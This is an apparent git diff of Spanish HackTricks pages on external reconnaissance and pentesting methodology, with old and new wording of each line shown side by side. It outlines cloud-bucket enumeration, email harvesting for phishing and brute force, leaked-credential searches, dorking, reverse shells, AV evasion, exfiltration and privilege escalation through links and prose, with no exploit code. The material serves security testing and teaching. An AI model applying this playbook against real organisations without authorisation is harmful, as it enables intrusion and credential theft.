Para encontrar posibles activos en la nube pertenecientes a una empresa, debes **comenzar con una lista de palabras clave que identifiquen a esa empresa**. Por ejemplo, para una empresa de criptomonedas podrías usar palabras como: `"crypto", "wallet", "dao", "<nombre_del_dominio>", <"nombres_de_subdominios">`. Para encontrar activos potenciales en la nube que pertenezcan a una empresa, debes **comenzar con una lista de palabras clave que identifiquen a esa empresa**. Por ejemplo, para una empresa de criptomonedas podrías usar palabras como: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
También necesitarás listas de palabras comunes utilizadas en buckets: También necesitarás listas de palabras de **palabras comunes utilizadas en buckets**:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) * [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Luego, con esas palabras, deberías generar **permutaciones** (consulta la [**Segunda Ronda de Fuerza Bruta DNS**](./#second-dns-bruteforce-round) para obtener más información). Luego, con esas palabras deberías generar **permutaciones** (consulta el [**Segundo Ronda de Fuerza Bruta DNS**](./#second-dns-bruteforce-round) para más información).
Con las listas de palabras resultantes, podrías usar herramientas como [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** Con las listas de palabras resultantes podrías usar herramientas como [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Recuerda que al buscar Activos en la Nube, debes **buscar más que solo buckets en AWS**. Recuerda que al buscar Activos en la Nube debes **buscar más que solo buckets en AWS**.
### **Búsqueda de vulnerabilidades** ### **Buscando vulnerabilidades**
Si encuentras cosas como **buckets abiertos o funciones en la nube expuestas**, deberías **acceder a ellas** e intentar ver qué te ofrecen y si puedes abusar de ellas. Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** deberías **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
## Correos Electrónicos ## Correos Electrónicos
@ -554,58 +551,58 @@ Con los **dominios** y **subdominios** dentro del alcance, básicamente tienes t
* API de [**https://app.snov.io/**](https://app.snov.io/) (versión gratuita) * API de [**https://app.snov.io/**](https://app.snov.io/) (versión gratuita)
* API de [**https://minelead.io/**](https://minelead.io/) (versión gratuita) * API de [**https://minelead.io/**](https://minelead.io/) (versión gratuita)
### **Búsqueda de vulnerabilidades** ### **Buscando vulnerabilidades**
Los correos electrónicos serán útiles más adelante para **fuerza bruta en logins web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing. Los correos electrónicos serán útiles más adelante para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing.
## Fugas de Credenciales ## Filtraciones de Credenciales
Con los **dominios**, **subdominios** y **correos electrónicos** puedes comenzar a buscar credenciales filtradas en el pasado pertenecientes a esos correos electrónicos: Con los **dominios,** **subdominios** y **correos electrónicos** puedes comenzar a buscar credenciales filtradas en el pasado que pertenezcan a esos correos electrónicos:
* [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/) * [https://www.dehashed.com/](https://www.dehashed.com/)
### **Búsqueda de vulnerabilidades** ### **Buscando vulnerabilidades**
Si encuentras credenciales filtradas **válidas**, esto es una victoria muy fácil. Si encuentras credenciales **filtradas válidas**, esta es una victoria muy fácil.
## Fugas de Secretos ## Filtraciones de Secretos
Las fugas de credenciales están relacionadas con hackeos de empresas donde se filtró y vendió **información sensible**. Sin embargo, las empresas podrían verse afectadas por **otras fugas** cuya información no está en esas bases de datos: Las filtraciones de credenciales están relacionadas con hacks de empresas donde **información sensible fue filtrada y vendida**. Sin embargo, las empresas podrían verse afectadas por **otras filtraciones** cuya información no está en esas bases de datos:
### Fugas de Github ### Filtraciones de Github
Las credenciales y APIs podrían filtrarse en los **repositorios públicos** de la **empresa** o de los **usuarios** que trabajan para esa empresa de github.\ Las credenciales y APIs podrían estar filtradas en los **repositorios públicos** de la **empresa** o de los **usuarios** que trabajan para esa empresa de github.\
Puedes usar la **herramienta** [**Leakos**](https://github.com/carlospolop/Leakos) para **descargar** todos los **repos públicos** de una **organización** y de sus **desarrolladores** y ejecutar [**gitleaks**](https://github.com/zricethezav/gitleaks) sobre ellos automáticamente. Puedes usar la **herramienta** [**Leakos**](https://github.com/carlospolop/Leakos) para **descargar** todos los **repos públicos** de una **organización** y de sus **desarrolladores** y ejecutar [**gitleaks**](https://github.com/zricethezav/gitleaks) sobre ellos automáticamente.
**Leakos** también se puede usar para ejecutar **gitleaks** en todos los **textos** proporcionados **URLs pasadas** a él, ya que a veces las **páginas web también contienen secretos**. **Leakos** también puede ser utilizado para ejecutar **gitleaks** contra todo el **texto** proporcionado **URLs pasadas** a él, ya que a veces **las páginas web también contienen secretos**.
#### Dorks de Github #### Dorks de Github
Consulta también esta **página** para posibles **dorks de github** que también podrías buscar en la organización que estás atacando: Consulta también esta **página** para posibles **dorks de github** que podrías buscar en la organización que estás atacando:
{% content-ref url="github-leaked-secrets.md" %} {% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md) [github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %} {% endcontent-ref %}
### Fugas de Pastes ### Filtraciones de Pastas
A veces los atacantes o simplemente los trabajadores **publicarán contenido de la empresa en un sitio de paste**. Esto podría o no contener **información sensible**, pero es muy interesante buscarlo.\ A veces, atacantes o simplemente trabajadores **publicarán contenido de la empresa en un sitio de paste**. Esto podría o no contener **información sensible**, pero es muy interesante buscarlo.\
Puedes usar la herramienta [**Pastos**](https://github.com/carlospolop/Pastos) para buscar en más de 80 sitios de paste al mismo tiempo. Puedes usar la herramienta [**Pastos**](https://github.com/carlospolop/Pastos) para buscar en más de 80 sitios de paste al mismo tiempo.
### Dorks de Google ### Dorks de Google
Los dorks antiguos pero útiles de Google siempre son útiles para encontrar **información expuesta que no debería estar allí**. El único problema es que la [**base de datos de google-hacking**](https://www.exploit-db.com/google-hacking-database) contiene varios **miles** de consultas posibles que no puedes ejecutar manualmente. Por lo tanto, puedes obtener tus 10 favoritas o podrías usar una **herramienta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para ejecutarlas todas**. Los dorks de google, aunque viejos, siempre son útiles para encontrar **información expuesta que no debería estar allí**. El único problema es que la [**base de datos de hacking de google**](https://www.exploit-db.com/google-hacking-database) contiene varios **miles** de posibles consultas que no puedes ejecutar manualmente. Así que, puedes obtener tus 10 favoritas o podrías usar una **herramienta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para ejecutarlas todas**.
_Ten en cuenta que las herramientas que esperan ejecutar toda la base de datos utilizando el navegador regular de Google nunca terminarán, ya que Google te bloqueará muy pronto._ _Ten en cuenta que las herramientas que esperan ejecutar toda la base de datos usando el navegador regular de Google nunca terminarán, ya que Google te bloqueará muy pronto._
### **Búsqueda de vulnerabilidades** ### **Buscando vulnerabilidades**
Si encuentras credenciales o tokens de API filtrados **válidos**, esto es una victoria muy fácil. Si encuentras credenciales o tokens de API **filtrados válidos**, esta es una victoria muy fácil.
## Vulnerabilidades en Código Público ## Vulnerabilidades de Código Público
Si descubres que la empresa tiene **código abierto**, puedes **analizarlo** y buscar **vulnerabilidades** en él. Si encontraste que la empresa tiene **código de código abierto** puedes **analizarlo** y buscar **vulnerabilidades** en él.
**Dependiendo del lenguaje**, hay diferentes **herramientas** que puedes usar: **Dependiendo del lenguaje**, hay diferentes **herramientas** que puedes usar:
@ -616,11 +613,12 @@ Si descubres que la empresa tiene **código abierto**, puedes **analizarlo** y b
También hay servicios gratuitos que te permiten **escanear repositorios públicos**, como: También hay servicios gratuitos que te permiten **escanear repositorios públicos**, como:
* [**Snyk**](https://app.snyk.io/) * [**Snyk**](https://app.snyk.io/)
## [**Metodología de Pentesting Web**](../../network-services-pentesting/pentesting-web/) ## [**Metodología de Pentesting Web**](../../network-services-pentesting/pentesting-web/)
La **mayoría de las vulnerabilidades** encontradas por los cazadores de bugs residen dentro de las **aplicaciones web**, por lo que en este punto me gustaría hablar sobre una **metodología de prueba de aplicaciones web**, y puedes [**encontrar esta información aquí**](../../network-services-pentesting/pentesting-web/). La **mayoría de las vulnerabilidades** encontradas por cazadores de bugs residen dentro de **aplicaciones web**, así que en este punto me gustaría hablar sobre una **metodología de pruebas de aplicaciones web**, y puedes [**encontrar esta información aquí**](../../network-services-pentesting/pentesting-web/).
También quiero hacer una mención especial a la sección [**Herramientas de escaneo automático web de código abierto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ya que, aunque no debes esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlos en **flujos de trabajo para obtener información web inicial.** También quiero hacer una mención especial a la sección [**Herramientas de escaneo automático de código abierto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ya que, aunque no deberías esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlas en **flujos de trabajo para tener alguna información web inicial.**
## Recapitulación ## Recapitulación
@ -628,45 +626,46 @@ También quiero hacer una mención especial a la sección [**Herramientas de esc
Así que ya has: Así que ya has:
1. Encontrado todas las **empresas** dentro del alcance. 1. Encontrado todas las **empresas** dentro del alcance
2. Encontrado todos los **activos** pertenecientes a las empresas (y realizado un escaneo de vulnerabilidades si está en el alcance). 2. Encontrado todos los **activos** que pertenecen a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance)
3. Encontrado todos los **dominios** pertenecientes a las empresas. 3. Encontrado todos los **dominios** que pertenecen a las empresas
4. Encontrado todos los **subdominios** de los dominios (¿algún caso de toma de subdominio?). 4. Encontrado todos los **subdominios** de los dominios (¿alguna toma de subdominio?)
5. Encontrado todas las **IP** (de y **no de CDNs**) dentro del alcance. 5. Encontrado todas las **IPs** (de y **no de CDNs**) dentro del alcance.
6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena investigar más a fondo?). 6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena un examen más profundo?)
7. Encontrado todos los **activos potenciales de la nube pública** pertenecientes a la empresa. 7. Encontrado todos los **activos potenciales de nube pública** que pertenecen a la empresa.
8. **Emails**, **filtraciones de credenciales** y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**. 8. **Correos electrónicos**, **filtraciones de credenciales** y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**.
9. **Realizado pentesting en todas las webs que encontraste**. 9. **Pentesting todas las webs que encontraste**
## **Herramientas Automáticas de Reconocimiento Completo** ## **Herramientas Automáticas de Reconocimiento Completo**
Existen varias herramientas que realizarán parte de las acciones propuestas contra un alcance dado. Hay varias herramientas disponibles que realizarán parte de las acciones propuestas contra un alcance dado.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
* [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) * [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)
* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Un poco antiguo y no actualizado * [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Un poco antigua y no actualizada
## **Referencias** ## **Referencias**
* Todos los cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) * Todos los cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**La Metodología del Cazador de Bugs v4.0 - Edición Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_). Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Metodología de Pentesting # Metodología de Pentesting
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere dominio del polaco escrito y hablado_). Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -24,7 +25,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**
<figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/HACKTRICKS-logo.svg" alt=""><figcaption></figcaption></figure>
_Logos de Hacktricks diseñados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ _Los logos de Hacktricks fueron diseñados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
### 0- Ataques Físicos ### 0- Ataques Físicos
@ -32,57 +33,57 @@ _Logos de Hacktricks diseñados por_ [_@ppiernacho_](https://www.instagram.com/p
### 1 - [Descubriendo hosts dentro de la red](pentesting-network/#discovering-hosts)/ [Descubriendo Activos de la empresa](external-recon-methodology/) ### 1 - [Descubriendo hosts dentro de la red](pentesting-network/#discovering-hosts)/ [Descubriendo Activos de la empresa](external-recon-methodology/)
**Dependiendo** si la **prueba** que estás realizando es una **prueba interna o externa** puede interesarte encontrar **hosts dentro de la red de la empresa** (prueba interna) o **encontrar activos de la empresa en internet** (prueba externa). **Dependiendo** si la **prueba** que estás realizando es una **prueba interna o externa**, puede que te interese encontrar **hosts dentro de la red de la empresa** (prueba interna) o **encontrar activos de la empresa en internet** (prueba externa).
{% hint style="info" %} {% hint style="info" %}
Ten en cuenta que si estás realizando una prueba externa, una vez que logres obtener acceso a la red interna de la empresa deberías reiniciar esta guía. Ten en cuenta que si estás realizando una prueba externa, una vez que logres obtener acceso a la red interna de la empresa, deberías reiniciar esta guía.
{% endhint %} {% endhint %}
### **2-** [**Divirtiéndote con la red**](pentesting-network/) **(Interno)** ### **2-** [**Divirtiéndote con la red**](pentesting-network/) **(Interna)**
**Esta sección solo aplica si estás realizando una prueba interna.**\ **Esta sección solo se aplica si estás realizando una prueba interna.**\
Antes de atacar un host quizás prefieras **robar algunas credenciales** **de la red** o **espiar** algunos **datos** para aprender de forma **pasiva/activa (MitM)** qué puedes encontrar dentro de la red. Puedes leer [**Pentesting Network**](pentesting-network/#sniffing). Antes de atacar un host, tal vez prefieras **robar algunas credenciales** **de la red** o **snifar** algunos **datos** para aprender **pasivamente/activamente (MitM)** qué puedes encontrar dentro de la red. Puedes leer [**Pentesting Network**](pentesting-network/#sniffing).
### 3- [Escaneo de Puertos - Descubrimiento de Servicios](pentesting-network/#scanning-hosts) ### 3- [Escaneo de Puertos - Descubrimiento de servicios](pentesting-network/#scanning-hosts)
Lo primero que debes hacer al **buscar vulnerabilidades en un host** es saber qué **servicios se están ejecutando** en qué puertos. Veamos las [**herramientas básicas para escanear puertos de hosts**](pentesting-network/#scanning-hosts). Lo primero que debes hacer al **buscar vulnerabilidades en un host** es saber qué **servicios están corriendo** en qué puertos. Veamos las [**herramientas básicas para escanear puertos de hosts**](pentesting-network/#scanning-hosts).
### **4-** [Buscando exploits de versiones de servicios](search-exploits.md) ### **4-** [Buscando exploits de versiones de servicio](search-exploits.md)
Una vez que sepas qué servicios se están ejecutando, y tal vez su versión, debes **buscar vulnerabilidades conocidas**. Quizás tengas suerte y haya un exploit que te dé una shell... Una vez que sepas qué servicios están corriendo, y tal vez su versión, debes **buscar vulnerabilidades conocidas**. Tal vez tengas suerte y haya un exploit que te dé una shell...
### **5-** Pentesting de Servicios ### **5-** Servicios de Pentesting
Si no hay ningún exploit interesante para ningún servicio en ejecución, deberías buscar **configuraciones incorrectas comunes en cada servicio en ejecución**. Si no hay ningún exploit interesante para algún servicio en ejecución, deberías buscar **configuraciones incorrectas comunes en cada servicio en ejecución.**
**Dentro de este libro encontrarás una guía para pentestear los servicios más comunes** (y otros que no son tan comunes)**. Por favor, busca en el índice izquierdo la sección de** _**PENTESTING**_ **(los servicios están ordenados por sus puertos predeterminados).** **Dentro de este libro encontrarás una guía para pentestear los servicios más comunes** (y otros que no son tan comunes)**. Por favor, busca en el índice izquierdo la** _**SECCIÓN DE PENTESTING**_ **(los servicios están ordenados por sus puertos predeterminados).**
**Quiero hacer una mención especial de la parte de** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ya que es la más extensa).**\ **Quiero hacer una mención especial a la** [**parte de Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ya que es la más extensa).**\
También, se puede encontrar una pequeña guía sobre cómo [**encontrar vulnerabilidades conocidas en software**](search-exploits.md) aquí. Además, aquí puedes encontrar una pequeña guía sobre cómo [**encontrar vulnerabilidades conocidas en software**](search-exploits.md).
**Si tu servicio no está en el índice, busca en Google** otros tutoriales y **hazme saber si quieres que lo añada.** Si no **encuentras nada** en Google, realiza tu **propio pentesting a ciegas**, podrías empezar por **conectarte al servicio, fuzzearlo y leer las respuestas** (si las hay). **Si tu servicio no está en el índice, busca en Google** otros tutoriales y **déjame saber si quieres que lo agregue.** Si **no puedes encontrar nada** en Google, realiza tu **propio pentesting ciego**, podrías comenzar por **conectarte al servicio, fuzzing y leyendo las respuestas** (si las hay).
#### 5.1 Herramientas Automáticas #### 5.1 Herramientas Automáticas
También existen varias herramientas que pueden realizar **evaluaciones automáticas de vulnerabilidades**. **Te recomendaría probar** [**Legion**](https://github.com/carlospolop/legion)**, que es la herramienta que he creado y está basada en las notas sobre pentesting de servicios que puedes encontrar en este libro.** También hay varias herramientas que pueden realizar **evaluaciones automáticas de vulnerabilidades**. **Te recomendaría probar** [**Legion**](https://github.com/carlospolop/legion)**, que es la herramienta que he creado y se basa en las notas sobre pentesting de servicios que puedes encontrar en este libro.**
#### **5.2 Fuerza Bruta en servicios** #### **5.2 Fuerza Bruta en servicios**
En algunos escenarios un **Fuerza Bruta** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una Hoja de Trucos de fuerza bruta de diferentes servicios**](brute-force.md)**.** En algunos escenarios, una **Fuerza Bruta** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una CheatSheet de diferentes servicios de fuerza bruta**](brute-force.md)**.**
### 6- [Phishing](phishing-methodology/) ### 6- [Phishing](phishing-methodology/)
Si en este punto no has encontrado ninguna vulnerabilidad interesante **puede que necesites probar algo de phishing** para poder ingresar a la red. Puedes leer mi metodología de phishing [aquí](phishing-methodology/): Si en este punto no has encontrado ninguna vulnerabilidad interesante, **puedes necesitar intentar algún phishing** para entrar en la red. Puedes leer mi metodología de phishing [aquí](phishing-methodology/):
### **7-** [**Obteniendo Shell**](shells/) ### **7-** [**Obteniendo Shell**](shells/)
De alguna manera deberías haber encontrado **alguna forma de ejecutar código** en la víctima. Entonces, [una lista de posibles herramientas dentro del sistema que puedes usar para obtener una shell inversa sería muy útil](shells/). De alguna manera deberías haber encontrado **alguna forma de ejecutar código** en la víctima. Entonces, [una lista de posibles herramientas dentro del sistema que puedes usar para obtener una shell inversa sería muy útil](shells/).
Especialmente en Windows podrías necesitar algo de ayuda para **evitar los antivirus**: [**Consulta esta página**](../windows-hardening/av-bypass.md)**.**\\ Especialmente en Windows, podrías necesitar ayuda para **evitar antivirus**: [**Revisa esta página**](../windows-hardening/av-bypass.md)**.**\\
### 8- Dentro ### 8- Dentro
Si tienes problemas con la shell, aquí puedes encontrar una pequeña **recopilación de los comandos más útiles** para pentesters: Si tienes problemas con la shell, aquí puedes encontrar una pequeña **compilación de los comandos más útiles** para pentesters:
* [**Linux**](../linux-hardening/useful-linux-commands.md) * [**Linux**](../linux-hardening/useful-linux-commands.md)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) * [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@ -91,80 +92,82 @@ Si tienes problemas con la shell, aquí puedes encontrar una pequeña **recopila
### **9 -** [**Exfiltración**](exfiltration.md) ### **9 -** [**Exfiltración**](exfiltration.md)
Probablemente necesitarás **extraer algunos datos de la víctima** o incluso **introducir algo** (como scripts de escalada de privilegios). **Aquí tienes un** [**post sobre herramientas comunes que puedes usar con estos propósitos**](exfiltration.md)**.** Probablemente necesitarás **extraer algunos datos de la víctima** o incluso **introducir algo** (como scripts de escalada de privilegios). **Aquí tienes un** [**post sobre herramientas comunes que puedes usar con estos propósitos**](exfiltration.md)**.**
### **10- Escalada de privilegios**
#### **10.1- Escalada de privilegios local** ### **10- Escalada de Privilegios**
Si **no eres root/Administrador** dentro del sistema, debes encontrar una forma de **escalar privilegios**.\ #### **10.1- Escalada Local de Privilegios**
Si no eres **root/Administrador** dentro de la máquina, deberías encontrar una manera de **escalar privilegios.**\
Aquí puedes encontrar una **guía para escalar privilegios localmente en** [**Linux**](../linux-hardening/privilege-escalation/) **y en** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ Aquí puedes encontrar una **guía para escalar privilegios localmente en** [**Linux**](../linux-hardening/privilege-escalation/) **y en** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
También debes revisar estas páginas sobre cómo funciona **Windows**: También deberías revisar estas páginas sobre cómo funciona **Windows**:
* [**Autenticación, Credenciales, Privilegios de token y UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) * [**Autenticación, Credenciales, Privilegios de Token y UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* Cómo funciona **NTLM**](../windows-hardening/ntlm/) * Cómo funciona [**NTLM**](../windows-hardening/ntlm/)
* Cómo **robar credenciales**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) en Windows * Cómo [**robar credenciales**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) en Windows
* Algunos trucos sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/) * Algunos trucos sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
**No olvides revisar las mejores herramientas para enumerar rutas de Escalada de Privilegios locales en Windows y Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) **No olvides revisar las mejores herramientas para enumerar rutas de Escalación de Privilegios locales en Windows y Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Escalada de privilegios de dominio** #### **10.2- Escalada de Dominio**
Aquí puedes encontrar una [**metodología que explica las acciones más comunes para enumerar, escalar privilegios y persistir en un Active Directory**](../windows-hardening/active-directory-methodology/). Aunque esto sea solo una subsección de una sección, este proceso podría ser **extremadamente delicado** en una asignación de Pentesting/Red Team. Aquí puedes encontrar una [**metodología que explica las acciones más comunes para enumerar, escalar privilegios y persistir en un Active Directory**](../windows-hardening/active-directory-methodology/). Aunque esto es solo una subsección de una sección, este proceso podría ser **extremadamente delicado** en una asignación de Pentesting/Red Team.
### 11 - POST ### 11 - POST
#### **11.1 - Saqueo** #### **11**.1 - Saqueo
Verifica si puedes encontrar más **contraseñas** dentro del host o si tienes **acceso a otras máquinas** con los **privilegios** de tu **usuario**.\ Verifica si puedes encontrar más **contraseñas** dentro del host o si tienes **acceso a otras máquinas** con los **privilegios** de tu **usuario**.\
Encuentra aquí diferentes formas de [**volcar contraseñas en Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). Encuentra aquí diferentes maneras de [**extraer contraseñas en Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Persistencia #### 11.2 - Persistencia
